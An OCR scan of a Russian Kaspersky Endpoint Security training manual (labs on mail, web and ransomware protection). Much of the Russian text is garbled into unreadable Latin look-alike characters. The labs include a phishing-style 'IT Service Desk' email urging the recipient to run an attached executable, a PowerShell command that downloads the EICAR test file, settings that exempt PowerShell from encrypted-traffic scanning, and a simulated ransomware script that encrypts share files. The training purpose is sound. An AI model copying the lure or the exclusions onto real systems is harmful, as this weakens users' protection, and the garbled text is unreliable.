OTnpaBbTe NMcbMO Ha agpec tom@abc.lab ¢ BnoxeHHbIM *.pdf.exe-darinom B zip-apxuse. MonyynTte NMCbMO u
NpoBepbTE, YTO 3alLMTa OT NOYTOBLIX YrPO3 M3MEHWUA pacLUMPEHNE apXuBa.
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-
— -
DC Alex-Desktop  Tom-Laptop

-
Alex-Desktop

JlabopaTopHasi paboTa 5.
Kak HacTpouTb 3alwmTy OT MOYTOBLIX Yrpo3

1. ToaknouunTech K
komnbtoTepy Alex-Desktop

2. CospanTte HoBOE NMUCbMO:

— YkaxuTe agpecaTta. B
none Komy: Beegnte
tom@abc.lab

— 3apgante Temy. B none
Tema: BBeguTe
E>xeHedernbHbIl omyem

— [punoxuTe K nucbMy
cann Documentl.zip,
MECTO PacnonoXeHus
danna ytouHute y
npenogasarens

3. OTtnpaBbTe NMCbLMO:
HaxmuTte Send

EEH % & 1 & s Weekly report - Message (HTML) ? H - O X
MESSAGE | IMSERT  OPTIONS  FORMATTEXT  REVIEW
e Y (Calibri(Body) <11 | A A 5| [ AttechFile

> Q

|Weekly report

Attached | 1) Document! zip (182 B]

Bz B I U :i=- EE - & 3= U Attach Ttem =
Paste — Mames Tags  Zoom
. N WA EE=E - Signature - -

Clipboard Basic Text ra Include Zoom -
Tou. | tom Eabc.lab; |

=1
=) |

Send
Subject |

€ 5ec more about tom@abc.lab.

Tom-Laptop
4. Ortkpoiite Microsoft B E - Inbox - torm@abe Iab - Outlook
Outlook. Bbl6epI/ITe HOME | SEND/RECEVE  FOLDER  VIEW
— Y -
rOMYHEHHOS TIGBNO S5 T, X e Gm [Guemer ] e D &
5' COXpaHVITe (baﬁn Er:l::,r| |t:.:‘:. %Junk' Delete | Reply R;ﬂy Forward EE " |E Team Email ’; _@Dnel\lote |™ Follow Up - Y
Docum entlzlp Ha paﬁo‘-IVIVI MNew Delete Respond Guick Steps [F} Move Tags
cTon 4 Favorites | Search Current Mailbox... £ | Current Mailbox v| Ei‘- Reply |’|9|_ Reply All Q) Forward
Inbox 1 Al Unread By Date *  Mewest 4 Tue 30-Mar-2115:02
Sentliens 4 Today Alex <alex@abc.lab>
Deleted Items Alex @J Weekly report
4 tom@abclab gm;p;:a“‘ CHE - o tomEsbek

kaspersky

Message { Document1zip (313 B)
Inbox 1 E"
Drafts
Sent ltems Dear Tom!
Deleted ltems
. Please, extract this attachment and look report.
Junk E-mail
D Sincerely,
RSS Feeds Alex.
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6. Pacnakynte apxus
Documentl.zip (Bbibepute
B KOHTEKCTHOM MeHto charna
komaHgy Extract all)

7. OO6partuTe BHMMaHWe, 4To
3aapxvMBUPOBaHHbLIV harn
Ha3sblBaeTcs
Documentl.pdf.ex_.
3almTa OT NOYTOBbIX YrPO3
U3MeHuna paclumpeHme
apxuBa C UCNOMHAEMbIM
dannom

JTabopaTopHasi paboTa 5.
Kak HacTpouTb 3almTy OT NOYTOBbIX Yrpo3

Home Share WView

* IJ : Move to ~ ) Delete ~ gv @

Pinto Quick Copy Paste Copy to Rename New Properties
access iﬂ folder =
Clipboard Organize Mew Open

i » ThisPC » Desktop * Document] w Search Docy

A MName Date

5 Quick access

|:] Documentl.pdfiex_ 30-Mg

@ Onelrive
[ This PC
B 3D Objects
[ Desktop

3apaHue B: OTpepakTupyiite $unbTp BNOXKEHUIA

B nonutuke Kaspersky Endpoint Security oTpegaktMpynTe cnmcok hopmaTtoB BROXeEHUIN, KOTopble obpabaTbiBaeT

3awmTa oT NOYTOBbIX yrpos.

8. Otkpoiite Beb-
KoHconb Kaspersky
Security Center

KASPERSKY
SECURITY CENTER

9. B G0KOBOM MEHI0
BblGepuTe Devices
| Polices &
Profiles

10. OTkponTe NonNuTUKY & DEVICES
Kaspersky
Endpoint Security

for Windows

POLICIES & PROFILES

11. NepenanTe Ha

2:(” alp‘Kyt High protection level.
Ication

Sgt?lngs GENERAL  EVENT CONFIGURATION ~ APPLICATION SETTINGS  REVISION HISTORY  POLICY PROFILES
12 nepeﬁ,D,VITe B Advanced Threat Protection e Threat Protecti

pa3p‘en Essent|al Essential Threat Protection

Threat Protection Securty Contrals e et
13 OTKpOﬁTe Detection and Response

HaCTpOIZ Kn Mall Data Encryption Mail Threat Protection

Threat Protection

Local Tasks

=i

KsC

DEVICES / POLICIES & PROFILES

Current path: KSC / Ma evice: ations / Laptop:
\E| [ & Refresh list B x e Q o
[[] stat >> Policy name Application Inherited
Kaspersky Endpoint Security for Windows (11.6.0)
0 e Haspersky Endpoint Security for Windows (11 60) Haspersky Endpoint Security for .. >>  Inherited from Managed devices
Kaspersky Security 11 for Windows Server
O e Defa rity 11 for Windows .. >> Haspersk ty 11 forWindo.. >>  Inherited from Managed devices

Kaspersky Security Center 13 Network Agent

Kaspersky Endpoint Security for Windows (11.6.0)

kaspersky
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14. NameHuTe paboTty
dunbTpa
BMOXEHUN.
Bbibepute
napameTp: Delete
attachments of
selected types

15. MNMpokpyTnTe cnmcok
HacTpoeK BHU3

16. OTkntounTe
obpaboTky *.exe

17. CospaliTe HOBbIN
PUNBTP BOXKEHWNA:
Haxmunte Add

18. B none Extension
nobasbTe *.pdf.exe

19. Haxmnte OK

kaspersky

Mail Threat Protection

Attachment filter

+ Add

]

Disable filtering

Delete
File mask

*.asp

*.bat

*bin

<= Import

Rename attachments of selected types

® Delete attachments of selected types

%= Export

State

Disabled

"

@ Enabled

Disabled

"

JlabopaTopHasi paboTa 5.
Kak HacTpouTb 3almTy OT NOYTOBbIX Yrpo3

Mail Threat Protection

+ Add

X Delete

File mask

*dwg

.
v
=

o
H
i

== Import

%= Export

State

Disabled

@ Enabled
@ Enabled

Disabled
Disabled
Disabled
Disabled
Disabled
Disabled
Disabled
Disabled
(® Disabled

Disabled

(® Disabled

Add mask

Extension

* pdf exe|

State
8 Enabled
Disabled
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3apaHue C: NpoBepbTe, UTO 3awmMTa OT NOUTOBbIX Yrpo3 6onblue He
pepaKkTUpPyeT BNOXKEeHUS

Alex-Desktop

20. MoakniounTeck Kk MawwmHe Alex-Desktop u B H 9 O 7 & < ITseniceDesk- Message (HTML) Tmo- 0o
C03,D,al7|Te eLIJ,e OAHO nMMcbMoO annO)‘KMTe MESSAGE INSERT OPTIONS FORMAT TEXT REVIEW
cbaiin Procmon.zip (MecToHaxoxaeHne - E" Gibi(Body) -[11 -|A &[5 @E@Jmch Re 1 Q
1 fy B I U i—~-iz~ €&3E Attach Irem ~
aniia YTOYHUTE Y MHCTPYKTOpa : M i
q) yT y py p ) Pa.sre ~ ay'A' === % Et”es B”Signaturev EVQS “oom
21. B none Subject: Beegute IT Service Desk Clipboard 1 Basic Text n Include Zoom ~
22. Haxmute Send = 7o | [omesbo: |
Send | |
Subject |1T Service Desk |
Attached | 1) Procmon.zip (895 KB |
Dear Tom, :
Please, extract attachment and run executable file.
Sincerely,
IT Service Desk
o See more about tom@abclab, H E

Tom-Laptop
23. Otkponte Microsoft Outlook B E R - Pocmon
File Home Share View ~ o

24. CoxpaH?Te dain Procmon.zip Ha * B % | @oovero- | onee- m- 5 | Bsceaan

pabounii cTon T , £ ? | 29 seiect none
5 ) Pmat;:!ltsnck Copy Paste E ] Copy to _I Rename lemr Propvert\es rjq R -

25. PacnakyvTte apxus Procmon.zip Cliphoara Organize New open Select
(Bb|6epMTe B KOHTEKCTHOM MEHK T+ » ThisPC » Desktop » Procmoen v O Search Procmon 0
anna komaHgy Extract all) —— A HNeme " Date modified Type

26 O6paTMTe BHMMaHMe, 4YTO B HOBOM j 3D Objects ﬂProcmon.exe 30-Mar-21 1316 Application
NUCbMe 3aapX1BUPOBAHHbLIN dhaiin B Pestter

HasblBaeTca Procmon.exe; 3awura
OT MOYTOBLIX YrPO3 ero He
nepenmeHoBana

3akniouyeHve

Bbl HaCTpoMny 3alWmUTy OT NMOYTOBLIX YIPO3 HEe NEPENMEHOBLIBaTL *.exe-tainbl.

Ecnun ceTb yepes No4uTy atakyeT HOBbIN BUPYC, KOTOPOro HeT B 6a3e curHatyp u B KSN, HacTponTe 3awwmTy ot
MOYTOBbLIX YrPO3 NepeMMeHOBbIBaTh UNW yAansTb BCE UCTIONHAEMbIE BIIOXEHMS.
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JlabopaTopHas paboTa 6.
Kak npoBepuTb 3awimTy oT Be6-yrpos

CueHapwun. C HacTponikamm no ymonydanuio Kaspersky Endpoint Security ymeeT npoBepATb 3aimpoBaHHbIv
Tpadmk, NCNonb3ys NogmeHy cepTudmkaTa. B HekoTopbIx crnyyasax nogmMmeHa cepTugukaTa MoXeT HeraTUBHO
BMMATb Ha paboTy 6aHK-KNMEHTOB U OPYrMX NPOrpamMM, MCMOSb3YOLLNX CBOM COBCTBEHHbIN cepTudmkar. Ytoobbl
n3bexatb npobrnem B3anmogencTens B Kaspersky Endpoint Security ecTb BO3MOXHOCTb UCKITHOYaTh U3 NMPOBEPKM
TOMbKO 3aMpOBaHHbLIN TpaduK.

CopepxxaHue. B aToln nabopaTopHoi paborTe:

1. TlpoeepbTe, 4TO 3awmTa oT BeG-yrpo3 npoeepsieT https Tpaduk ¢ HACTPONKaMmn Mo YMONMYaHUIO
2. BebikntoynTe npoBepKy WwMpoBaHHOro Tpadmka ang nporpammesl PowerShell

3. [lposepbTe, 4TO 3awwmTa OT BED-Yrpo3 HE MeLlaeT 3arpy3nTb TECTOBbIN BUPYC AOBEPEHHON
nporpamme PowerShell no npotokony https

3apaHue A: MNMpoeepbTe, UTO No ymon4vaHuio 3awmTa oT Be6-yrpos npoeepsieT
https Tpadumk

3anyctute PowerShell n nonpobynte 3arpy3vTb dann eicar_com.zip n nocMoTpuTe Ha peakumto Kaspersky
Endpoint Security.

Kownsiotepei DC, KSC, Tom-Laptop Aokl GeiTe ainiosiews.
L

Tom-Laptop

1. Haxmute Win+R

2. B none BBoOaa BBeauTe

pOWEI’Sh ell ? Type the name of a program, folder, document, or Internet

resource, and Windows will open it for you.
3. Haxmute kHonky OK . Y

Open: | powershell v |
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4. 3arpysuTte cpain eicar_com.zip cpeacteamm PowerShell no npotokony https. BeinonHuTe komaHay:

Invoke-WebRequest -uri “https://secure.eicar.org/eicar com.zip” -OutFile
“C:\temp\eicar com.zip”

> Select Administrator: Windows PowerShell

-lWebRequest

5. Y6eautech, uto Kaspersky Endpoint Security 3abnokuposan 3arpysky cavina. He 3akpbiBanTe okHO
PowerShell

3apaHue B: Boikniounte npoBepky wmndpoeaHHoro Tpaduka gng nporpaMmmbl
PowerShell

HobasbTe nporpammy PowerShell B cnmcok goBepeHHbIX NporpaMM, NonpobynTe 3arpy3antb dann eicar_com.zip u
nocmMoTpuTe Ha peakumio Kaspersky Endpoint Security.

3afaHue BbINonHAeTca Ha koMnbloTepe KSC.

=il

6. OTkponTe Beb6-KOHCOMb DEVICES / POLICIES & PROFILES

Kaspersky Security
Center Current path: KSC
7. B OOKOBOM MEHI0 KASPERSKY r Add | [ = Refreshlist | = ) @ [
BblbepuTe Devices | SECURITY CENTER
Stat. >> | Policy name Application

Polices & Profiles
Kaspersky Endpoint Security for Windows (11.6.0)

8. OTKpoKTe NoNMTUKY
Kaspersky Endpoint
Security ana Windows

Kaspersky Endpoint Security for Windows {1160 HKaspersky Endpoint Security for

Kaspersky Security 11 for Windows Server

= DEVICES

Default protection for Kaspersky Security 11 fo ndows .. >>  Haspersky Security 11 for Winda|

POLICIES & PROFILES Kaspersky Security Center 13 Network Agent
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MepenauTe Ha BKNagky
Application Settings

10. MNepenanTe B pasgen

General settings

11. OTKpoWnTE HAaCTPOMKN

Exclusions

12. Y106kl gobaBNTL
AOBEpeHHoe
npunoxexHue, nponanTe
no ccoinke Trusted
applications B nesou

HUXXHEN 4acTu aKpaHa

13. Haxmute Add

Exclusions P

JTabopaTopHasi paboTa 6.
Kak npoBepuTtb 3awmTy oT Be6-yrpo3

Kaspersky Endpoint Security for Windows (11.6.0)

High protection level.

GENERAL  EVENT CONFIGURATION ~ APPLICATION SETTINGS ~ REVISION HISTORY ~ POLICY PROFILES

anced Threat Protection

Essential Threat Protection

ty Controls

General settings

Types of detected objects =) [ o]

Malware

B Malicious tools

Adware, auto-dialers, other programs

Detect other software that can be used by criminals to damage your computer or personal data

Packers

B Packed objects
B Multi-packe:

e packing may be used to protect malicious code

Scan exclusions and trusted applications

14. B cTpoke BBOAA NYTU K
ncnonHsemomy canny
BBEAUTE
%systemroot%o\
system32\
WindowsPowershell\

v1.0\powershell.exe

15. OTknounTe onuumu:

Do not scan opened
files

Do not inherit
restrictions of the
parent process
(application)

16. Bkntoyute onyuto Do
not scan network
traffic c napameTtpom

Encrypted traffic only

17. Coxpanute
WCKIOYEHNS: HAaXMUTE

OK

kaspersky

Application

l

Path or path mask to the application | %systemroot%\System32\WindowsPowerShell\v1.0\powershell.exe

Comment

Do not scan opened files
Da not mol
Do not inherit restrictions of the parent process (application)

nitor application activity
Do not menitor child application activity
Allow interaction with the application interf;

Do not block interaction with AMSI Protec
Do not scan network traffic

n component

® Encrypted traffic only
All traffic

Specified remote |IP addresses

+ Add

IP address

No data
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18. CoxpaHuTe NonuTUKY:
HaxmunTe Save

(® HKaspersky Endpoint Security for Windows (11.6.0)

19. HOHTBepﬂMTe High protection level
npUMeHeHe AaHHbIX
HacTpoek. HaxmuTe
Yes

GENERAL EVENT CONFIGURATION  APPLICATION SETTINGS ~ REVISION HISTORY ~ POLICY PROFILES

20. MopoxauTte noka 7 )
NonnTUKa NPUMEHUTCS Essentia

MNetwork Settings

Local Tasks

General settings

3apaHue C: NpoBepbTe, 4UTO 3aWwmMTa OT Be6-yrpo3 He MeLLaeT 3arpy3nTb
TecToBbIl BUPYC foBepeHHoi nporpamme PowerShell no wmn¢posaHHomy
npotokony https

Ewe pas 3arpysuTe hann eicar_com.zip ¢ pecypca eicar.org ¢ nomoLlbto nporpammel PowerShell. MNpoeepbTe,
4YTO 3awwmTa oT Beb-yrpo3 He BGNOKUPYET TECTOBLIN BUPYC NpU 3arpyske Yepes LOBEPEHHOE NPUIIOKEHNE.

3apaHue BbIMNOMNHAETCs Ha KoMmnbioTepe Tom-Laptop.

||
Tom-Laptop
21. lMoeTOpHO 3arpy3uTe havin eicar_com.zip no 3awmdposaHHOMY npoTokony https. BeinonHute komaHay:

Invoke-WebRequest -uri https://secure.eicar.org/eicar com.zip -OutFile
“C:\temp\eicar com.zip”

:\Users\tom.ABC> Invoke-WebRequest

s\Users\tom. ABC>
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22. Ybeputech, 4TO Goann

JlabopaTopHasi paboTa 7.
Kak npoBepunTb 3alLMTy ceTeBbIX Marnok oT NporpamMMm-BbiMoraTtenei

Obln yCneLHO COXpaHeH: GO Home | Share  View (7]
nepengnTe B narky = :
. = ove to X Delete - e o 55
C:\temp\ Ll o v
. Pin to Quick Copy Paste Copy to Rename New Properties Select
23. 3akponTe OKHO access 7] : folder - 2 -
PowerShell Clipboard Organize New Open
« v A » ThisPC » Local Disk (C:) » temp w Search temp
I This PC (A Mame Date modified Typ
_J 3D Objects bsstest_amsi.zip Co
I Desktop ¢ eicarzip 31-Mar-2111:29 Co
B Decuments | | eicar_drep_kl_edu.cpp 14-Dec-17 12:35 CPA
invoice.bd.aes 31-Mar-21 11:56 AES|
4 Download
ownloads
J‘& Music
&= Pictures
B Videos
% Local Disk (T:) il S i
3aknioyeHue

JlabopatopHas paboTa nokasbiBaeT, kak 4OOaBUTb CTOPOHHEE NPUITOXKEHNE B CMIMCOK JOBEPEHHbIX MPOrpaMm U He
NpoBepATh LUNGPOBAHHLIN CeTEBON TpadimK.

Onumsa Do not scan network traffic gna goBepeHHbIX NporpamMmm pacnpocTpaHAETCsl Ha KOMMOHEHThI 3awmTta oT
MoYTOBBIX Yrpo3, 3awuTa oT Be6-yrpo3 n Beb-KoHTponb, 1 He pacnpocTpaHsaeTcs Ha KOMNOHeHTbl CeTeBoM akpaH
n 3awmTa oT CeTeBbIX Yrpos3.

JlabopaTopHag paboTa?.
Kak NMPOBEPUTDL 3ALLMNTY CeTeBbIX NanoK OoT nporpamm-
BbiMoraTenemn

CueHapuin. V13 Bcex yrpos bonbLue Bcero Bac 6ecrnokoAT nporpaMMbl-BbiMoratTenu, WwudpyoLme gaHHble B
nankax o6uero goctyna. Ecnu ogHaxabl Kaspersky Endpoint Security He 0BHapyXuT HOBYIO BEPCUIO
BPEOOHOCHOW Nporpammbl, KOMMaHUsa NoTepsieT MHOro geHer. [ina 3awmTtel OT NporpamMmm-BbiMoraTenem Bbl XOTUTe
MCNONb30BaTb KOMMNOHEHT 3awWuThbl Behavior Detection.

CopepxaHue. B aTton nabopatopHon paborTe:

1. VmuTupynTe 3apaxeHne BpeAOHOCHOW NporpaMmmon-BeiMoraTenem

2. TpoeepbTe pesynbTaTtbl paboTbl KOMMNOHEHTA 3alMThl AHANn3 NoBegeHns

3. PaspewnTte wndpoBaHMe B CETEBbIX Nankax obLiero 4OCTyna 1 HaCTPOMUTE UCKMOYEHWS ANsl CETEBbIX
YCTPOWCTB

4. TlpoBepbTe, YTO UCKIIOYEHUS 411K CETEBLIX YCTPONCTB paboTaloT KOPPEKTHO

3apaHue A: Mimntupyiite 3apa)xeHne BpeAOHOCHOIA nporpammoii-
BbiMOraTtenem

OTkntounTe Apyrme KOMMOHEHThI 3aluThbl, KOTOPbIE MOTYT 3abokMpoBaTh TECTOBLIN hann paHbLue, Yem Behavior
Detection. Hangute Ha paboyem ctone komnbtoTepa Alex-Desktop n 3anyctute ckpunt ransomware2.bat,
KOTOpbIN WMAPYET 1 yaanseT annbl B ceTeBbIX Nankax obLiero gocryna.
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MpoBepbTe, uTO Kaspersky Endpoint Security BocctaHoBun gain invoice.txt, a nonb3oBatenb Alex 6onblue He
MOXeT MogudmumMpoBaTh (hannbl Ha CETEBOW Nanke obLero gocryna.

]
msw !
= 0
—
— = -
— -
DC Alex-Desktop

1. OrtkpownTte BEO-
KOHcoMb Kaspersky
Security Center

DEVICES / POLICIES & PROFILES

Current path: KSC

2' B 60KOBOM MEHI0 KASPERSKY + Add | | = Refreshlist | 3 Shov up 0 Cop e e  x Delete @ Distribu
BbibepuTe Devices | SECURITY CENTER
Polices & Profiles

O stat > Policy name Application

Kaspersky Endpoint Security for Windows (11.6.0)
3. OTkpoiTe NonNuTUKY

H O e Kaspersky Endpoint Security for Windows (11.60) Kaspersky Endpoint Security for . >>
Kaspersky Endpoint - : ’ '
Secu |"|ty 'D'nﬂ Kaspersky Security 11 for Windows Server
WlndOWS t= DEVICES O e Default for Kaspersky Security 11 for Windows .. >>  Kaspersky Security 11 for Windo... »>
POLICIES & PROFILES Kaspersky Security Center 13 Network Agent
4 nepeﬁ ,Ell/lTe B ky Endpoint Security for Windows (11.6.0)
pasﬂen Ap pl | Catl O n High protection level
settings

GENERAL  EVENT CONFIGURATION ~ APPLICATION SETTINGS ~ REVISION HISTORY  POLICY PROFILES

5. B pasgene
Advanced Threat

Advanced Threat Protection

Essential Threat Protection

Protection

BblbepuTe Host seeuty ontiols

Intru5|on ion and Response Behavior Detection
Prevention

Exploit Prevention

General settings

Host Intrusion Prevention
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6. Bbikntouute
KOMMOHEHT 3aLLnThbI:
Host Intrusion

7. Haxmute OK

8. B pasgene
Essential Threat
Protection
BblbepuTe Firewall

10. Haxxmute OK

kaspersky

Host Intrusion Prevention P

and block it from being disabled

Medium protecti el Itis recommended to enable the compol

Host Intrusion Prevention =} [ o)

Host Intru: ntion DISABLED

5}
o]

Application rights and protected resources

ss user files and application settings or to access operating system processes and ¢

/s starts working

Application processing rules =] [ @]

B3 Update rights fo ¢ unknown applications from KSN database
B3 Trust applicat:

B Delete rights for applications that have

rev

hat have a digital signa
been run for more than (days, 1 to 90)

60

applications that could not be added to existing groups

Low Restricted

Kaspersky Endpoint Security for Windows (11.6.0)

its are disabled.

0

Medium protection level. Some of the recommended protection compor

GENERAL  EVENT CONFIGURATION  APPLICATION SETTINGS ~ REVISION HISTORY ~ POLICY PROFILES

Firewall a2 [ @]

Firewall DISABLED

Firewall Settings & [ o]

o)
e

network connections.

50



KL 002.11.6:
Kaspersky Endpoint Security and Management

11. CoxpaHute

JlabopaTopHasi paboTa 7.
Kak npoBepunTb 3alLMTy ceTeBbIX Marnok oT NporpamMMm-BbiMoraTtenei

Kaspersky Endpoint Security for Windows (11.6.0) =

HaCTPOWKN. _ )
Medium protection level. Some of the recommended protection components are disabled. Learn more
Haxmute Save
GENERAL  EVENT CONFIGURATION ~ APPLICATION SETTINGS ~ REVISION HISTORY ~ POLICY PROFILES
12. MNoateepaute
anMeHeHMe Advanced Threat Protection e Threat Protect
HaCTpOeK Ha)KMMTe Essential Threat Protection
YeS Threat Protect]
and Response
13. NopoxauTe noka )
noNnnTUKa Tiscond Save settings o
anMeHMTCﬂ ettings mportant protection components are disabled (for more information,
: Networl  click the link in the description of the protection level)
14' nepesarpysu-re Are you sure you want to apply these settings?
KomMnbtoTep Tom- .
Laptop Mot
Mepekntountecb Ha komnbloTep Alex-Desktop.
=.
= 0
-
Alex-Desktop
15. OTkponTe nanky L4 1w | emp - o X
06LLI,eI'O nocTtyna Home Share View [7]
\\tom-|apt0p\temp « “ A~ . » Network » tom-laptop » temp » v D Search temp »
: MName : Date modified Type Size
16. Y6egnTtech, 4TO B B This pC vp
narnke anCyTCTByeT [ Desktop bsstest_amsi File folder
CpaVIJ'I invoice.txt & Documents bsstest_amsi Compressed (zipp... 1 KB
& Downloads | | eicar_drop_kl_edu.cpp CPP File 2KB
J" Musi =| invoice Text Document 1 KB
) Music
&=/ Pictures
Videos
‘i Local Disk (C)
¥ Network
17. Hangnte Ha paboyem ctone charmn ransomware2.bat, BbINOMHSAOLWNA OENCTBUS, CXOXNE C OENCTBUSMUA
BPEJOHOCHbLIX NPOrpaMmM-1LIMdpoBanbLLMKOB
18. saI'IyCTVITe (*)alzj'l BN C\Windows\system32\cmd.exe — O *
ransomware2.bat ratulations!!! Your personal files are encrypted
/ to continue
19. MNMpocmoTpute <ML s temp - o x
coaepXxmmoe narku Home Share Wiew (7]
\\tom-|apt0p\temp « v A . » Network » tom-laptop » temp » v O Search temp P
I This PC MName - Date modified Type Size
[ Desktop bsstest_amsi File folder
| Documents bsstest_amsi Compressed (zipp... 1 KB
3 Downlosds | | eicar_drop_kl_edu.cpp CPP File 2KB
D Musi || invoicebt.aes 5/ AES File 1 KB
) Music
&= Pictures
B Videos
‘i Local Disk ()
¥ MNetwork
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20. OTkponTe hann B invoice.bd.aes - Notepad
invoice.txt.aes B

File Edit Format View Help

nporpamme BriokHoT AES  [CREATED_BY aescrypt 3.10 £
21. Y6egutech, 4TO . [Z«AyR"a60 4@SXIE-OyIX)~ JW!IT5
chaiin , lRex101alA < T28#1; E"1™ICHIV"HEDE | V%8AS Iy )I&>M ! y>~ 80} I~=+5")1

i i ol IOFAESUM; Y10 $1}q=xCexcUE0~xvE2e3®I2g
invoice.txt.aes ' i) Fa=xC

3awwmdposaH

22. 3akponte brnokHoT

23. O6HoBUTE 2 M w T emp - 0o X
cogepxxmmMmoe nanku Home Share View [7]
\\tom-|apt0p\temp « “ A~ . » MNetwork > tom-laptop > temp > « O Search temp »

24. Y6e,E|,I/ITer, 4yTOo B This PC A Name : Date modified Type Size
CbaVIJ'I invoice.txt [ Desktop bsstest_amsi File folder
6le'| CO3,D,aH 3aHOBO Iﬂ Documents : bsstest_amsi Compressed (zipp... TKB

* Downloads |:] eicar_drop_kl_edu.cpp CPP File 2KB
J! Musi |:] invoice Text Document 1KB
He [ invoice.ot.aes AES File KB
=| Pictures
B Videos
‘i Local Disk (C:)
=¥ Network

B HekoTopbIx cny4dasx chann He yganseTtcs, T.K. KOMNoHeHT Behavior Detection 6rnokvpyeT yganeHHoe
coednHeHune, Kak ToNbKo 0BHapyXXMBaeT NomnbITKY LWMPOBaHKS, eLle 40 TOro, Kak BPpeAOHOCHbLIWN CKPUMT ycreBaeT
yaanuTb NCXOOHbIV chainn.

25. MNonpobynTe yaanuTb 3awmngpoBaHHbIN File Access Denied [z
CbaVIJ'I You need permission te perform this action

26. Ybegutechb, 4TO BaM OTKa3aHO B JOCTyne e

You require permission from ABC\Alex to make changes to this file

- invoice.bt.aes
= Type: AES File

Size: 308 bytes

Date modified: 31-Mar-21 12:46

[ Try Again J ’ Cancel

3apaHue B: MNpoBepbTe peaynbTaTtbl paboTbl KomMmnoHeHTa AHanus MNoBepeHus
Ha mawwuHe Tom-Laptop

OTkponTe oT4yeThl paboTbl KOMMNOHEHTA 3alMThl AHanNM3 noeeneHns Ha HoyTbyke Tom-Laptop. O3HakoMbTECH C
BbINOMHEHHBIMW AEACTBUSIMU KOMMOHEHTA 3aLLMThI.
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JlabopaTopHasi paboTa 7.
Kak npoBepuTb 3awmTy CeTeBbIX Narnok oT NporpaMmmM-BbiMoraTenemn

27. BonauTte B cuctemy noa
YYETHOW 3anncbio
abc\Tom ¢ naponem
Ka5per5Ky

Bbi3oBuTe nHtepdeinc
Kaspersky Endpoint
Security

28

29. OTKponTe OTYETHI

nporpammbil

30. Beibepute Behavior

Detection

31. YbeguTtechb, 4TO
BpeaoHocHas
aKTUBHOCTb
wmndpposaHus c IP
10.28.0.100 6bina

3abnoknpoBaHa

32

Y6egutech, 4To chann
C:\temp\invoice.txt
OblN BOCCTaHOBMEH

0

System audit
@ Advanced Threat Protection

Behavior Detection
Exploit Prevention

Host Intrusion Prevention
Q) Essential Threat Protection

File Threat Protection
Web Threat Protection
Mail Threat Protection
Firewall

Network Threat Protection

AMSI Protection
@ Security Controls

Adaptive Anomaly Control
Application Control
Device Control

Web Control

B

|
Tom-Laptep

Behavior Detection

Importance: G) || \

Time: ‘Day v| <

31-Mar-21

®

31-Mar-21

‘ Update

| | Save report

Event date +
Today, 31-Mar-21 13:30:45
(D Today. 31-Mar-21 13:30:45

Today. 31-Mar-21 13:30:45

Event

Rollback completed

File restored

Blocked

Application
External application
External application

External application

[ Today, 31-Mar-21 13:30:45
Today, 31-Mar-21 12:46:03
(© Today, 31-Mar-21 12:46:03

Today, 31-Mar-21 12:46:03

Malicious object detected

Rollback completed

File restared

Blocked

External application
External application
External application

External application

Application name

External application
External application
External application
External application
External application
External application

External application

Application path

External applicati
External applicati
External applicati
External applicati
External applicati
External applicati

External applicati

Today, 31-Mar-21 13:30:45 Blocked

Event: Blocked
Application: External application
User: ABC.LABMAlex

User type: Initiator

Remote session: 0x00144056
Remote host: -(10.28.0.100)
Component: Behavior Detection
Result description: Blacked
Type: Trojan program

Name: HEUR:Trojan. Multi.Crypren.gen

0

System audit
@ Advanced Threat Protection

Behavior Detection
Exploit Prevention

Host Intrusion Prevention
Q) Escential Threat Protection

File Threat Protection
Web Threat Protection
Mail Threat Protection
Firewall

Network Threat Protection

AMSI Protection
@ Security Contrals

Adaptive Anomaly Control
Application Control
Device Control

Web Control

Behavior Detection

Importance: @:IE}

Tme: | Day v | ¢ 31-Mar21

®

31-Mar-21

Update

| | Save report

Event date 4

Today. 31-Mar-21 13:30:45
(@ Today, 31-Mar-21 13:30:45

Event

Rollback completed

File restored

Application

External application

External application

Today, 31-Mar-21 13:30:45
([} Today, 31-Mar-21 13:30:45
Today, 31-Mar-21 12:46:03
(D Today, 31-Mar-21 12:46:03

Today, 31-Mar-21 12:46:03

Blocked

Malicious object detected

Rollback completed

File restored

Blocked

External application
External application
External application
External application

External application

Application name

External application
External application
External application
External application
External application
External application

External application

Application path
External applicati
External applicati
External applicati
External applicati
External applicati
External applicati

External applicati

Today, 31-Mar-21 13:30:45 Blocked

Event: Blocked

Application: External application
User: ABC.LABMAlex

User type: Initiator

Remote session: 0x001A4056
Remote host: -(10.28.0.100)
Component: Behavior Detection
Result description: Blocked
Type: Trojan program

Name: HEUR:Trajan Multi.Crypren.gen

3apaHue C: PaspewunTte wndpoBaHne B ceTeBbix Nankax obuiero goctynau
HacTpoliTe UCK/IIOUEHUS AN AOBEePEHHbIX CeTeBbIX YCTPOMCTB

B HekoTopbIx cnydasx Behavior Detection moxeT onpegennte paboTy NPUKNagHbIX MHKEHEPHO-
NPOEKTUPOBOYHLIX MPOrpamMM Kak AeACTBMS NporpaMm WndpoBanbLnKOB-BeIMoraTernen. Ytobbl nsbexarb
TNIOXXHOMONOXUTENbHBIX CpabaTbiBaHN KOMMOHEHTA 3aLUMThI, PEKOMEHAYEeTCA [06aBNsATbL KOMMNbIOTEPDI B
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JlabopaTopHasi paboTa 7.
Kak npoBepunTb 3alLMTy ceTeBbIX Marnok oT NporpamMMm-BbiMoraTtenei

poBepeHHble. BoibepuTte CepBep agMMHUCTPUPOBAHNA 1 OTpedakTupynTe nonutuky Kaspersky Endpoint Security.
[obaebTe IP-agpec komnbloTepa Alex-Desktop B cnivcok ucknoueHnn komnoHeHTa Behavior Detection.

3afaHue BbINoMHAeTca Ha koMnbioTepe KSC.

33. OTkpoiiTe BeO-
KoHconb Kaspersky

Security Center

34. B 60KkOBOM MEH!0
BblbepuTe Devices |

Polices & Profiles

35. OTKpowiTe NONUTUKY
Kaspersky Endpoint
Security ansa

Windows

36. MNepenanTte Ha
Bknagky Application

Settings

37. B pasgene Advanced
Threat Protection
BbIGepute Behavior

Detection

38. MIameHnTe HacTpomku
3aWmMThl NanokK obLLero
gocTtyna ot
CTOPOHHEro
wudbposaHus ¢ Block

connection Ha notify

39. Haxmute Add, 4TOObI

[obaBnTb UCKMOYEHNE

kaspersky

KASPERSKY
SECURITY CENTER

= DEVICES

POLICIES & PROFILES

DEVICES / POLICIES & PROFILES

Current path: KSC
+ Add = Refresh list & 1} 0 X ¢
Stat. >> | Policy name Application Inherited

Kaspersky Endpoint Security for Windows (11.6.0}

Kaspersky Endpoint Security for ... >>

> Haspersky Security 11 for Windo... >>

Kaspersky Security Center 13 Network Agent

%) Kaspersky Endpoint Security for Windows (11.6.0)

High protection level

GENERAL  EVENT CONFIGURATION

